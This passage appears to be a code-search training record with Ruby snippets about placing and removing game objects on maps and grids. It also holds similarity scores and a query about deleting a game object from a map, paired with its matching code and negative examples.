DatabaseManager.insert(DSpace.context, row)\nend", "def add_map(h)\n f = Hash[MAP_FIELDS.map{ |x| [x,nil] }]\n h = f.merge(h)\n @vault << h\n if @vault.size == @xwrite\n\tpublish(@timestamped,'maps')\n end\n if @vault.size == @xitems\n publish(@timestamped,'maps')\n @vault.clear\n\t@timestamped = autoname('map')\n end\n end", "def insert(key)\n end", "def register_shot(at_coordinates)\n @array[at_coordinates[0]][at_coordinates[1]] = \"o\" if @array[at_coordinates[0]][at_coordinates[1]] == \"\"\n end", "def add_tile_to_game\n render_result do\n tile = params[:tile]\n @game.add_tile(tile, params[:game_id])\n {:status => :ok}\n end\n finish\n end", "def fill_map_objects(object_groups)\n @entities = extract(get_objects_by_type(object_groups, 'entities')) {\n |o| Engine::GameEntity.const_get(o.type).new(o.x, o.y, o.type, o.name, o.properties.tap { |x| x.delete(\"image\") })\n }\n #TODO: Parse objects from map\n end", "def add_planet_object(new_planet_object)\n @planets_collection.push(new_planet_object)\n end", "def add(o)\n @hash[o] = true\n self\n end", "def add(point, index, attrib, metadata = nil)\n item = node_class.new(point, attrib, @insert_point, metadata)\n @lookup[index] = item\n @items[@insert_point] = item\n heapify(@insert_point)\n @insert_point += 1\n end", "def place\n next_move = {x: command.arguments[:x], y: command.arguments[:y]}\n if inside_table?(next_move_x_y(next_move, false))\n update_position!(next_move_x_y(next_move, false))\n update_direction!\n else\n almost_die\n end\n end", "def place_snake_head(position, move_over_tunnel)\n snake_part = SnakePart.new(@head)\n @world[@head] = snake_part\n @head = position\n @world[position] = SnakeHead.new(position)\n\t\t\t@world[position].set_over_tunnel(move_over_tunnel)\n @body.unshift @head\n end", "def add_point(player)\n end", "def insert_timestamp object_id\n if @timestamps[object_id].nil?\n @timestamps[object_id] = [@current_time]\n else\n @timestamps[object_id] << @current_time\n end\n end", "def register(object)\n object_id = SecureRandom.uuid\n @objects[object_id] = object\n object_id\n end", "def put(obj)\n end", "def set_gameobject\n @gameobject = Gameobject.find(params[:id])\n end", "def addWaypoint _obj, _args\n \"_obj addWaypoint _args;\" \n end", "def create_map_picture\n @picture = Sprite.new(@viewport)\n @picture.bitmap = Cache.picture(MINIMAP_PICTURE)\n @picture.x = P_X; @picture.y = P_Y\n @picture.opacity = 0\n end", "def add(obj)\n if @classes.include?(obj.class)\n x = 0\n @grid.each { |col|\n y = 0\n col.each { |tile|\n if tile == nil\n @grid[x][y] = obj\n return [x, y]\n end\n y += 1\n }\n x += 1\n }\n end\n return [0, 0]\n end", "def store_new(object)\n raise IdentityConflict if contains?(object)\n store(object)\n end", "def add_object(iObject)\n @StatementInsertIntoStatsObjects.execute(iObject)\n\n return @StatementInsertIntoStatsObjects.insert_id\n end", "def place_pawns\r\n $board.each_index do |x|\r\n $board[x][1] = Pawn.new('white')\r\n $board[x][6] = Pawn.new('black')\r\n end\r\n end", "def add_to_game\n @ennemies.each { |e| @window.ennemies.push(e) }\n end", "def place_object\n if @places_window.nil?\n hide_object\n return\n end\n place = @places_window.item\n if place.type == 0\n hide_object\n return\n end\n visible_before = @location.opacity == 255\n @location.opacity = 255\n if visible_before\n @location.smooth_move(adx(place.map_x), ady(place.map_y))\n else\n @location.x = adx(place.map_x)\n @location.y = ady(place.map_y)\n end\n @circlel.x = adx(place.map_x)\n @circlel.y = ady(place.map_y)\n end", "def place_scenario\n associate TweetPong::Stage::Wall.new(:x => 0, :y => 0, :width => width, :height => 0)\n associate TweetPong::Stage::Wall.new(:x => width, :y => 0, :width => 0, :height => height)\n associate TweetPong::Stage::Wall.new(:x => 0, :y => height, :width => width, :height => 0)\n associate TweetPong::Stage::Wall.new(:x => 0, :y => 0, :width => 0, :height => height)\n\n end", "def create_object(x, y, object)\n case object\n when MapAbxn::Generator\n delete_object(@gen_x, @gen_y) if generator?\n @gen_x = x\n @gen_y = y\n @grid[y][x] = Cell.new(x, y, object)\n @generator_flag = true\n else\n @grid[y][x] = Cell.new(x, y, object)\n end\n end", "def add_piece(piece, pos)\n self[pos] = piece.class.new(pos, self, piece.colour)\n end" ]
[ "0.7335261", "0.7278942", "0.7018534", "0.6873131", "0.68568444", "0.67495483", "0.65670407", "0.6445105", "0.6411099", "0.6343711", "0.63436955", "0.63297254", "0.62959", "0.62278605", "0.61978894", "0.61600703", "0.6109239", "0.6107178", "0.608967", "0.60234284", "0.5992161", "0.5926546", "0.5884397", "0.5856526", "0.577145", "0.5753557", "0.5731615", "0.5726068", "0.5725367", "0.5721406", "0.57198966", "0.5707337", "0.57015824", "0.56819963", "0.5665589", "0.5661676", "0.5645368", "0.5631818", "0.5615642", "0.5606615", "0.55835736", "0.55812424", "0.5580506", "0.5574809", "0.55661595", "0.5562148", "0.55315316", "0.5493823", "0.54826593", "0.5439198", "0.54384214", "0.5438161", "0.54375255", "0.54346764", "0.54158604", "0.54068196", "0.5406173", "0.5394769", "0.5384196", "0.5384156", "0.53841424", "0.5378263", "0.537038", "0.5367273", "0.5361352", "0.5353049", "0.5351677", "0.5348359", "0.5348245", "0.5346296", "0.5340998", "0.5340871", "0.5337508", "0.5335799", "0.5327863", "0.5315945", "0.5312399", "0.5308938", "0.53049284", "0.5302513", "0.5296801", "0.5290594", "0.5284571", "0.5284569", "0.5284191", "0.52827585", "0.525592", "0.5246241", "0.5245831", "0.524103", "0.52386117", "0.5238465", "0.5236837", "0.523679", "0.52347755", "0.52345717", "0.5231315", "0.5225223", "0.52198833", "0.5215361" ]
0.77957714
0
Removes a specific game object from the map, replace the cellvalue with nil
def delete(game_object) range_x, range_y = @game_object_positions[game_object] return unless range_x && range_y range_x.each do |x| range_y.each do |y| @map[x][y] = nil end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove!(jumped_pos)\n board[jumped_pos] = nil\n end", "def clear_at(cell)\n coordinate = @board_map.fetch(cell)\n set_cell(coordinate[0],coordinate[1],cell)\n end", "def delete_object(x, y)\n @generator_flag = false if @grid[y][x].object.class == MapAbxn::Generator\n @grid[y][x] = nil\n end", "def remove_rover(r)\n @map[r.coordinate[0],r.coordinate[1]] = nil\n end", "def remove_object(gameobject)\n @monsters.delete gameobject\n @towers.delete_if { |a,b| b == gameobject }\n @bullets.delete gameobject\n end", "def delete(object)\n if object.is_a?(GameObject)\n object_id = object.game_object_id\n else\n object_id = object\n object = find_by_id(object_id)\n end\n\n @mutex.synchronize do\n game_object = @ghash.delete(object_id)\n end\n end", "def remove_object g\n @objects.remove g\n @intent_map.delete g\n for m in @extent_map do\n extent_map[m].delete g\n end\n end", "def remove_piece(arr)\n @board[arr[0]][arr[1]][:piece] = nil\n end", "def clear\n self.map.clear\n end", "def eject!\n oldest_object = @store.first\n @map.delete(oldest_object.key)\n @store.remove(oldest_object.key)\n end", "def remove_thing(value)\n @children['thing'][:value].delete(value)\n end", "def remove_thing(value)\n @children['thing'][:value].delete(value)\n end", "def eject!\n #removes the first node\n node = @store.first\n @store.remove(node.key)\n\n #get rid of the map's reference to the deleted node\n @map.delete(node.key)\n end", "def clear_at(x, y)\r\n lookup_x = (x / @grid[0]).to_i\r\n lookup_y = (y / @grid[1]).to_i\r\n @map[lookup_x][lookup_y] = nil\r\n end", "def remove!\n update_attributes(x_position: nil, y_position: nil)\n end", "def removePiece(piece)\n if piece.instance_of?(Piece) && piece.location != nil\n piece.location.removePiece\n piece.location = nil\n end\n end", "def remove_item(g_hash,item)\n g_hash.delete(item)\nend", "def remove_item(g_hash,item)\n g_hash.delete(item)\nend", "def remove_item(item_to_be_removed)\n $groceryhash.delete(item_to_be_removed)\nend", "def remove(key)\n a_hash[key] = nil\n end", "def del(key)\n position = find(key)\n if position != nil\n # delete\n value = @values[position]\n @slots[position] = nil\n @values[position] = nil\n value\n else\n nil\n end\n end", "def remove(item)\n if @hash.include?(item)\n @hash.delete(item)\n item\n else\n nil\n end\n end", "def remove(key)\n @map.delete(key)\n end", "def remove(value)\n connection.zrem(key_label, value)\n end", "def remove_piece(piece)\n piece.piece_cells.each_with_index do |row, j|\n row.each_with_index do |cell, i|\n @cells[piece.y + j][piece.x + i] = 0 if cell == 1\n end\n end\n end", "def remove_piece(pos)\n i, j = pos\n @rows[i][j] = nil\n @pieces.delete(@rows[i][j])\n end", "def discard_equip(item)\n slot_id = equips.index(item)\n @equips[slot_id].object = nil if slot_id\n end", "def remove_item (item)\n item_hash[item].delete\nend", "def remove(entity)\n @entities.delete(entity)\n @late_comers.delete(entity)\n @combat_order.delete(entity)\n @map.remove(entity, battle: self) if @map\n end", "def remove_map\n remove_widget\n end", "def unflag(cell)\n announce_unflag(cell)\n @minefield.unflag(cell)\n end", "def delete(o)\n @hash.delete(o)\n self\n end", "def delete(o)\n @hash.delete(o)\n self\n end", "def remove_from_position_map(position)\n self.position_ts_map.delete position.id\n end", "def remove(entry); end", "def remove_pokemon_at(index)\n pokemon = @boxes[@current_box][index]\n @boxes[@current_box][index] = nil\n return pokemon\n end", "def remove_mapping(grub_device)\n data.delete(grub_device)\n end", "def remove(obj)\n @set.removeObject obj\n end", "def remove(haze)\n #Return if hazard list is empty \n if !hazardRoom\n return \n end\n @@hazardRoom[self.number-1].delete(haze)\n end", "def remove(thing)\n @cache[section(thing)].delete(key(thing))\n end", "def remove(rect)\n\t\t@squares.delete(rect)\n\tend", "def remove_item(grocery_hash, grocery)\n grocery_hash.delete(grocery)\nend", "def remove_item(hash, item)\r\n\thash.delete(item)\r\n\thash\r\nend", "def remove value\n return false if value.nil?\n\n index = map_get_index_of(value)\n remove_at(index) unless index.nil?\n\n return !index.nil?\n end", "def remove(square)\n piece_type = pieces[square]\n\n return nil unless piece_type\n\n mask = BB_SQUARES[square]\n\n if piece_type == PAWN\n @pawns = @pawns ^ mask\n elsif piece_type == KNIGHT\n @knights = @knights ^ mask\n elsif piece_type == BISHOP\n @bishops = @bishops ^ mask\n elsif piece_type == ROOK\n @rooks = @rooks ^ mask\n elsif piece_type == QUEEN\n @queens = @queens ^ mask\n else\n @kings = @kings ^ mask\n end\n\n color = ((@occupied_co[BLACK] & mask).to_boolean).to_i\n @pieces[square] = nil\n @occupied = @occupied ^ mask\n @occupied_co[color] = @occupied_co[color] ^ mask\n @occupied_l90 = @occupied_l90 ^ BB_SQUARES[SQUARES_L90[square]]\n @occupied_r45 = @occupied_r45 ^ BB_SQUARES[SQUARES_R45[square]]\n @occupied_l45 = @occupied_l45 ^ BB_SQUARES[SQUARES_L45[square]]\n\n # Update incremental zobrist hash.\n if color == BLACK\n piece_index = (piece_type - 1) * 2\n else\n piece_index = (piece_type - 1) * 2 + 1\n end\n\n @incremental_zobrist_hash = @incremental_zobrist_hash ^ Zobrist::POLYGLOT_RANDOM_ARRAY[64 * piece_index + 8 * rank_index(square) + file_index(square)]\n end", "def remove_item(hash, item_name)\r\n hash.delete(item_name)\r\n hash\r\nend", "def remove_item(hash, item)\n hash.delete(item)\nend", "def remove_item(hash, item)\n hash.delete(item)\n hash\nend", "def remove_item(hash, item)\n hash.delete(item)\n hash\nend", "def remove_actor(actor_id)\r\n # アクターを削除\r\n @actors.delete($game_actors[actor_id])\r\n # プレイヤーをリフレッシュ\r\n $game_player.refresh\r\n end", "def remove_all\n @list.each_key do |key|\n @list[key].each do |o|\n if o\n o.sprite.remove\n @list[key].delete(o)\n end\n end\n @list.delete(key)\n end\n end", "def purge!\n @map = {}\n end", "def remove(value)\n if value.kind_of? Array\n value.each { |v| remove(v) }\n else\n value = PublicEarth::Db::Base.as_id(value)\n value = value.id if value.is_a? Atlas::Place\n value.strip! if value.kind_of? String\n @values.delete(value)\n end\n end", "def remove(obj)\n hashed.each do |k,v|\n hashed.delete(k) if v == obj\n end\n list.reject! { |el| el == obj }\n end", "def remove_sprite(tile)\n @source_sprites.delete(tile)\n end", "def remove_value(value)\n @children['value'][:value].delete(value)\n end", "def remove(hash, item)\n hash.delete(item)\nend", "def remove(hash, item)\n hash.delete(item)\nend", "def delete(o); removeObject o end", "def remove(val)\n if map.key?(val)\n idx = map.delete(val)\n if idx != size - 1\n arr[idx], arr[size - 1] = arr[size - 1], arr[idx]\n map[arr[idx]] = idx\n end\n self.size -= 1\n true\n else\n false\n end\n end", "def remove_from_gamespace\n # remove it from the room it's in.\n self.from_room \n self.recycle \n # Possibly in the future return all switches. I.e. an admin taking over an NPC body.\n end", "def remove_from_map value, index\n # Recreates `value`s SortedSet without the given index\n @map[value].delete?(index)\n\n # Remove this value from our map, if the sorted set is now empty\n # i.e. no more elements exists in our heap with that value\n @map.delete(value) if @map[value].empty?\n end", "def remove_house(house)\n @houses.delete(house)\n end", "def remove_mapping\n @renderer = Renderer.find params[:id]\n @renderer.remove_mapping params[:position].to_i\n render :text => 'foo'\n end", "def remove(key)\n @map.each { |pair| @map.delete(pair) if pair.first == key }\n end", "def remove(name)\n @j_map.remove(name)\n self\n end", "def del\r\n @@tiles.delete_at(@tileno)\r\n @x1,@y1,@x2,@y2,@inclusive,@id,@tileno=nil\r\n end", "def destroy\n @medium_map_cell = MediumMapCell.find(params[:id])\n @medium_map_cell.destroy\n\n respond_to do |format|\n format.html { redirect_to medium_map_cells_url }\n format.json { head :no_content }\n end\n end", "def clear_map_view\n set :map_view, nil\n end", "def clear!\n @match_x = nil\n @match_y = nil\n end", "def unflag_map(row,col)\n row = row.to_i\n col = col.to_i\n row -= 1\n col -= 1\n if @flag_pair.include? (row.to_s + col.to_s)\n @flag_pair.delete((row.to_s + col.to_s))\n else\n puts 'There is no flag there!'\n end\n end", "def remove_item(hash, grocery)\n\thash.delete_if{|k, v| k == grocery}#item they want to delete?\n\t#locate matching key name\n\t#deleting that key\nend", "def remove_entry(p)\n\t\t@person.delete(p)\n\tend", "def clear_tricks\n self\n .put(:tricks, Hamster::Hash[players.map {|p| [p, 0] }])\n .delete(:trick)\n end", "def tile_removal(array_of_tiles)\n array_of_tiles.each do |letter|\n if @default_tiles.keys.include?(letter)\n @default_tiles[letter] -= 1\n end\n @default_tiles.delete_if {|key, value| value == 0 }\n end\n end", "def remove(item, hash)\n hash.delete(item)\nend", "def destroy\n @mind_map.destroy\n end", "def remove_item(hash, item)\n if hash.has_key?(item)\n hash.delete(item)\n end\n return hash\nend", "def remove(piece, options = {})\n if !piece.on_board?\n puts \"Piece is not on the board\"\n return false\n end\n\n piece.shape.each_with_index do |row, row_i|\n row.each_with_index do |col, col_i|\n cell(col_i + piece.x, row_i + piece.y).content = \" \"\n cell(col_i + piece.x, row_i + piece.y).piece = nil\n end\n end\n\n piece.x = nil\n piece.y = nil\n piece.on_board = false\n\n true\n end", "def remove_item(hash, item)\n hash.delete(item)\n return hash\nend", "def remove_item(remove_item, grocery_hash) \n grocery_hash.delete(remove_item)\n return grocery_hash\nend", "def clear(row, col)\n @value_grid[[row, col]][:cleared] = true\n end", "def unselect_place\n @selected_place = nil;\n end", "def eliminate(val)\r\n @modified = true if @candidates.delete(val) != nil\r\n @value = @candidates.first if @candidates.size == 1\r\n end", "def pbDisposeSpriteHash(sprites)\n if sprites\n for i in sprites.keys\n pbDisposeSprite(sprites,i)\n end\n sprites.clear\n end\nend", "def remove_unprocessed_thing_key_info(value)\n @children['unprocessed-thing-key-info'][:value].delete(value)\n end", "def drop_bomb(x,y)\n return nil if out_of_range?(x,y) || !spot_empty?(x,y)\n self[x,y] = spot_unoccupied?(x,y) ? MISS_MARK : HIT_MARK\n end", "def remove_item_from_grocery_hash(item_string, grocery_hash)\n grocery_hash.delete(item_string.to_sym)\n print_grocery_hash(grocery_hash)\nend", "def remove(route)\n @route_map.delete(route)\n nil\n end", "def delete(value)\n puts \"I want to delete #{value}\"\n\n bucket = compute_adjusted_bucket(value)\n puts \"It's in #{bucket} bucket if it's anywhere.\"\n\n contains_value = @table[bucket] == value\n puts \"It #{contains_value ? 'is' : 'isn\\'t'} there\"\n @table[bucket] = TOMBSTONE_MARKER if contains_value\n puts \"Put #{TOMBSTONE_MARKER}\"\n\n contains_value\n end", "def delete(object)\n obj = super(object)\n @all_goids.delete(obj.goid) if obj\n end", "def remove_at index\n return nil if empty?\n removed_value = @heap[index]\n last_item_index = size - 1\n swap_values_at(index, last_item_index)\n\n # Remove the actual value off the heap,\n # now that it's at the end/bottom of the heap\n @heap.pop\n remove_from_map(removed_value, last_item_index)\n\n # Return now, if this item was the last item already\n return removed_value if index == last_item_index\n\n # redefine our interested item, post-swap\n new_item_at_index = @heap[index]\n # Try to sink the item we moved, which now exists at `index`\n sink(index)\n # Otherwise try to swim it up, if it could not sink,\n # thus the \n swim(index) if @heap[index] == new_item_at_index\n\n return removed_value\n end", "def remove_possible_values_in_row_of(square)\n value_to_remove = square.value\n other_squares_from_row = get_row(square.row).reject { |next_square| next_square.column == square.column }\n other_squares_from_row.each do |square|\n square.possible_values.delete(value_to_remove)\n end\n end", "def remove_item(item)\r\n items.delete(item)\r\n item.owner = nil\r\n end", "def input_remove_wall\n # The mouse needs to be inside the grid, because we only want to remove walls\n # the cursor is directly over\n # Recalculations should only occur when a wall is actually deleted\n if mouse_over_grid?\n if state.walls.key?(cell_closest_to_mouse) or state.hills.key?(cell_closest_to_mouse)\n state.walls.delete(cell_closest_to_mouse)\n state.hills.delete(cell_closest_to_mouse)\n reset_search\n end\n end\n end", "def clear(row, col)\n cell = @grid[row][col]\n cell.clear = true\n cell.detonated?\n end", "def remove_item(item, hash)\n hash.delete(item)\n return hash\nend", "def remove(_bucket, _key)\n nil\n end", "def remove key, name = nil\n if name\n h = @var_map[key]\n r = h.delete name\n @var_map.delete key if h.empty?\n r\n else\n @var_map.delete key\n end\n end", "def removeSprite(sprite)\n @layer__.remove sprite.getInternal__ if sprite\n sprite\n end" ]
[ "0.6912418", "0.6892103", "0.67292494", "0.63333184", "0.6273143", "0.6214252", "0.61556935", "0.6099111", "0.6014436", "0.59929305", "0.5987733", "0.5987733", "0.59856796", "0.59667414", "0.5956288", "0.5935599", "0.5918449", "0.5918449", "0.59118706", "0.5907783", "0.5899302", "0.58826363", "0.5880667", "0.5852931", "0.58458614", "0.5843446", "0.58241457", "0.58194685", "0.58157593", "0.5813642", "0.58096474", "0.5763815", "0.5763815", "0.57454586", "0.57340723", "0.57209146", "0.5713233", "0.57126325", "0.5708867", "0.5705055", "0.56825066", "0.5677761", "0.56761426", "0.5666673", "0.5663226", "0.5662405", "0.5656816", "0.5639144", "0.5639144", "0.5633199", "0.56290597", "0.56195", "0.5606345", "0.5602963", "0.55998427", "0.55967337", "0.55905086", "0.55905086", "0.5583915", "0.5572535", "0.55693257", "0.556", "0.55518115", "0.5548776", "0.55435896", "0.5541596", "0.55299073", "0.551481", "0.54931134", "0.5491419", "0.5490773", "0.549076", "0.54735535", "0.54667664", "0.54658973", "0.54590994", "0.5450825", "0.543387", "0.54215634", "0.54200333", "0.5418905", "0.54170066", "0.54040796", "0.5388219", "0.5377364", "0.5369444", "0.53671676", "0.5359007", "0.5354243", "0.5353505", "0.5353278", "0.53531474", "0.5349411", "0.5344733", "0.5344718", "0.53399324", "0.5334004", "0.53325003", "0.53306115", "0.5323002" ]
0.71792775
0
Clear the game object residing in the cell given by real world coordinates x/y
def clear_at(x, y) lookup_x = (x / @grid[0]).to_i lookup_y = (y / @grid[1]).to_i @map[lookup_x][lookup_y] = nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def clear_at(cell)\n coordinate = @board_map.fetch(cell)\n set_cell(coordinate[0],coordinate[1],cell)\n end", "def clear(row, col)\n cell = @grid[row][col]\n cell.clear = true\n cell.detonated?\n end", "def clear\n @x = 0.0\n @y = 0.0\n end", "def clear(x,y)\n if getsq(x,y)[:mine]\n @game_over=true\n else\n reveal(x,y)\n end\n end", "def delete_object(x, y)\n @generator_flag = false if @grid[y][x].object.class == MapAbxn::Generator\n @grid[y][x] = nil\n end", "def clear(row, col)\n\n end", "def clear_cell(row, col)\n\t\t@cell_at[row][col].state = :visible\n\t\t@cleared_cells << [row, col]\n\n\t\tif @cell_at[row][col].risk == \".\"\n\t\t\t# Find neighboring cell coordinates\n\t\t\tneighbors = []\n\t\t\tadj_rows = [row - 1, row, row + 1]\n\t\t\tadj_cols = [col - 1, col, col + 1]\t\t\n\t\t\tadj_rows.each do |neighbor_row|\n\t\t\t\tadj_cols.each do |neighbor_col|\n\t\t\t\t\t# Exclude coordinates beyond the edges of cell_at\n\t\t\t\t\tif (0...@height) === neighbor_row && (0...@width) === neighbor_col\n\t\t\t\t\t\t# Exclude cells which have already been cleared\n\t\t\t\t\t\tunless @cleared_cells.include?([neighbor_row, neighbor_col])\n\t\t\t\t\t\t\tneighbors << [neighbor_row, neighbor_col]\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t# Repeat these steps for each neighboring cell\n\t\t\tneighbors.each { |neighbor| clear_cell(neighbor[0],neighbor[1]) }\n\t\tend\n\tend", "def clear(row, col)\n squares = adjacent_clear(row,col)\n squares.each { |position| uncover(position[0],position[1]) }\n end", "def clear(row, col)\n end", "def clear!\n @match_x = nil\n @match_y = nil\n end", "def clear(row, col)\n @board[row][col].cleared = true\n if !contains_mine?(row, col)\n if adjacent_mines(row, col) == 0\n range = [-1, 0, 1]\n range.each do |range_x|\n range.each do |range_y|\n x_adj = row + range_x\n y_adj = col + range_y\n if cell_exists?(x_adj,y_adj) && !cell_cleared?(x_adj,y_adj)\n clear_cell(x_adj,y_adj)\n clear(x_adj, y_adj)\n end\n end\n end\n end\n end\n end", "def clear(row, col)\n if within_field?(row, col) && !cell_cleared?(row, col)\n @field[row][col].clear\n if contains_mine?(row, col)\n @field[row][col].detonate\n else\n if adjacent_mines(row, col) == 0\n clear(row - 1, col - 1)\n clear(row - 1, col)\n clear(row - 1, col + 1)\n clear(row, col - 1)\n clear(row, col + 1)\n clear(row + 1, col - 1)\n clear(row + 1, col)\n clear(row + 1, col + 1)\n end\n end\n end\n end", "def clear(row, col)\n @value_grid[[row, col]][:cleared] = true\n end", "def clear(row, col)\n if inbounds?([row,col]) && !@cleared_field[[row,col]]\n @cleared_field[[row,col]] = true\n if adjacent_mines(row, col) == 0\n adjacent_cells(row, col).each do |cell|\n clear(cell[0], cell[1])\n end\n end\n end\n\n @cleared_field[[row,col]]\n end", "def delete(game_object)\r\n range_x, range_y = @game_object_positions[game_object]\r\n return unless range_x && range_y\r\n \r\n range_x.each do |x|\r\n range_y.each do |y|\r\n @map[x][y] = nil\r\n end\r\n end\r\n end", "def clear\n @my_field.set!(@len, @coord[0], @coord[1], @hor)\n end", "def can_clear? ( x, y )\n !self[x][y].visible && \n !self[x][y].mine && \n self[x][y].nearby_mines == 0\n end", "def clear(row, col)\n unless cell_cleared?(row,col)\n @grid[row][col].uncovered = true\n if adjacent_mines(row,col) == 0\n clear(row, col+1) if col < @column_count-1\n clear(row, col-1) if col > 0\n clear(row+1, col) if row < @row_count-1\n clear(row-1, col) if row > 0\n clear(row+1, col+1) if row < @row_count-1 && col < @column_count-1\n clear(row-1, col-1) if row > 0 && col > 0\n clear(row-1, col+1) if row > 0 && col < @column_count-1\n clear(row+1, col-1) if row < @row_count-1 && col > 0\n end\n end\n end", "def clear(row, col)\n cell = @field[row][col]\n cell.uncover\n @mines_detonated = true if cell.mined\n\n left = @field[row][col - 1] unless col - 1 < 0\n top_left = @field[row -1][col -1] unless row -1 < 0 || col -1 < 0\n bot_left = @field[row +1][col -1] unless row + 1 > @row_count - 1 || col -1 < 0\n right = @field[row][col + 1] unless col + 1 > @column_count - 1\n top_right = @field[row -1][col +1] unless row -1 < 0 || col + 1 > @column_count - 1\n bot_right = @field[row +1][col +1] unless row + 1 > @row_count - 1 || col + 1 > @column_count - 1\n top = @field[row -1][col] unless row - 1 < 0\n bottom = @field[row +1][col] unless row + 1 > @row_count - 1\n\n if adjacent_mines(row, col) == 0\n left.uncover if !left.nil?\n top_left.uncover if !top_left.nil?\n bot_left.uncover if !bot_left.nil?\n right.uncover if !right.nil?\n top_right.uncover if !top_right.nil?\n bot_right.uncover if !bot_right.nil?\n top.uncover if !top.nil?\n bottom.uncover if !bottom.nil?\n end\n end", "def clear\n @atlas.clear\n end", "def clear\n @window.clear\n @position = [0, 0]\n end", "def clear(row, col)\n return if @board[row][col].is_open\n @board[row][col].is_open = true\n adjacent_list = adjacent_cells(row, col)\n list = adjacent_list.select { |cell| cell.has_bomb }\n if list.size == 0\n adjacent_list.each do |cell|\n clear(cell.row, cell.col)\n end\n end\n end", "def clear_world\n @all_persons.clear\n @all_monsters.clear\n @all_strawberries.clear\n @all_mushrooms.clear\n\n @iteration = 0\n end", "def clear c = :black\n fast_rect 0, 0, w, h, c\n end", "def clear c = :black\n fast_rect 0, 0, w, h, c\n end", "def clear\n clear_rect(0, 0, width, height)\n end", "def clear_board\n @board.each { |_location, slot| slot.clear }\n @free_slots = 9\n end", "def clear\n Vedeu::Direct.write(value: clear_output, x: bx, y: by)\n end", "def cell_cleared?(row, col)\n cell = @grid[row][col]\n cell.clear\n end", "def clearAll\n for y in 0...10\n for x in 0...8\n if( @gridBoard[[x,y]] != nil )\n @gridBoard[[x,y]].clear_icon()\n end\n end\n end\n end", "def clear(row, col)\n\n # will not clear a cell that has already been cleared in recursive call\n if cell_cleared?(row, col) == false\n grid[row][col].uncovered = true\n\n if adjacent_mines(row, col) == 0 && grid[row][col].fill == 0\n clear(row+1, col) if (row + 1) < row_count\n clear(row-1,col) if (row - 1) >= 0\n clear(row,col+1) if (col + 1) < column_count\n clear(row,col-1) if (col -1) >= 0\n clear(row+1,col+1) if (row + 1) < row_count && (col + 1) < column_count\n clear(row+1,col-1) if (row + 1) < row_count && (col -1) >= 0\n clear(row-1,col+1) if (row - 1) >= 0 && (col + 1) < column_count\n clear(row-1,col-1) if (row - 1) >= 0 && (col -1) >= 0\n end\n end\n end", "def erase\n if self.validCDKObject\n # Clear the matrix cells.\n CDK.eraseCursesWindow(@cell[0][0])\n (1..@vrows).each do |x|\n CDK.eraseCursesWindow(@cell[x][0])\n end\n (1..@vcols).each do |x|\n CDK.eraseCursesWindow(@cell[0][x])\n end\n (1..@vrows).each do |x|\n (1..@vcols).each do |y|\n CDK.eraseCursesWindow(@cell[x][y])\n end\n end\n CDK.eraseCursesWindow(@shadow_win)\n CDK.eraseCursesWindow(@win)\n end\n end", "def clear\n grid.map do |row|\n row.map! do |pixel|\n pixel = DEFAULT_FILL\n end\n end\n end", "def remove!(jumped_pos)\n board[jumped_pos] = nil\n end", "def clear\n MSPhysics::Newton::CurvySlider.clear_points(@address)\n end", "def clear\n MSPhysics::Newton::CurvySlider.clear_points(@address)\n end", "def remove!\n update_attributes(x_position: nil, y_position: nil)\n end", "def clear(row, col)\n if @cleared[row][col] == false\n @cleared[row][col]=true\n if adjacent_mines(row,col) == 0 && @mines[row][col] == false\n #check up\n if row > 0\n clear(row-1,col)\n end\n #check down\n if row < row_count - 1\n clear(row+1,col)\n end\n #check left\n if col > 0\n clear(row,col-1)\n end\n #check right\n if col < column_count - 1\n clear(row,col+1)\n end\n end\n end\n end", "def clear\n @extent.clear\n end", "def clear\n remove_instance_variable(:@left)\n remove_instance_variable(:@middle)\n remove_instance_variable(:@right)\n end", "def clear_tsbs\n super\n @ori_x = 0\n @ori_y = 0\n end", "def clear\n @pixels.fill WHITE\n end", "def clear_game_board\r\n \r\n #Assign a blank space to each game board square \r\n $A1 = \" \"\r\n $A2 = \" \"\r\n $A3 = \" \"\r\n $B1 = \" \"\r\n $B2 = \" \"\r\n $B3 = \" \"\r\n $C1 = \" \"\r\n $C2 = \" \"\r\n $C3 = \" \"\r\n \r\n end", "def remove_entity_from_grid(entity)\n cells_overlapping(entity.x, entity.y).each do |s|\n raise \"#{entity} not where expected\" unless s.delete? entity\n end\n end", "def clear_puzzle\n @puzzle = [0] * 81\n @rows = [[], [], [], [], [], [], [], [], []]\n @columns = [[], [], [], [], [], [], [], [], []] \n @boxes = [[], [], [], [], [], [], [], [], []]\n end", "def rm_stone(i, j)\n if access_board(i, j) == -1\n raise \"This is not a valid position (#{i}, #{j})\"\n end\n set_stone_at(i, j, 0)\n end", "def clear(row, col)\n while cell_cleared?(row, col) == false\n cleared_locations << [row, col]\n if adjacent_mines(row, col) == 0\n (-1..1).each do |i|\n (-1..1).each do |j|\n r = row + i\n c = col + j\n if r >= 0 || c >= 0 || r <= 19 || c <= 19 || (r != row && c != col)\n clear(r, c)\n end\n end\n end\n end\n end\n end", "def clear(row, col)\n unless cell_cleared?(row, col)\n cleared_locations << [row, col]\n if adjacent_mines(row, col) == 0\n (-1..1).each do |i|\n (-1..1).each do |j|\n r = row + i\n c = col + j\n if r < 0 || c < 0\n next\n elsif r > 19 || c > 19\n next\n elsif r == row && c == col\n next\n else\n clear(r, c)\n end\n end\n end\n end\n end\n end", "def clear\n create rows: @rows, cols: @cols, color: \"O\"\n save_state\n end", "def clear\n if visible?\n Vedeu.timer(\"Clearing: #{name}\") do\n y, x = *position\n\n @clear ||= Array.new(height) do |iy|\n Array.new(width) do |ix|\n Vedeu::Char.new(value: ' ',\n colour: clear_colour,\n style: style,\n position: Vedeu::Position[y + iy, x + ix])\n end\n end\n end\n else\n []\n\n end\n end", "def destroy\n self.cleanTitle\n\n # Clear the matrix windows.\n CDK.deleteCursesWindow(@cell[0][0])\n (1..@vrows).each do |x|\n CDK.deleteCursesWindow(@cell[x][0])\n end\n (1..@vcols).each do |x|\n CDK.deleteCursesWindow(@cell[0][x])\n end\n (1..@vrows).each do |x|\n (1..@vcols).each do |y|\n CDK.deleteCursesWindow(@cell[x][y])\n end\n end\n\n CDK.deleteCursesWindow(@shadow_win)\n CDK.deleteCursesWindow(@win)\n\n # Clean the key bindings.\n self.cleanBindings(:MATRIX)\n\n # Unregister this object.\n 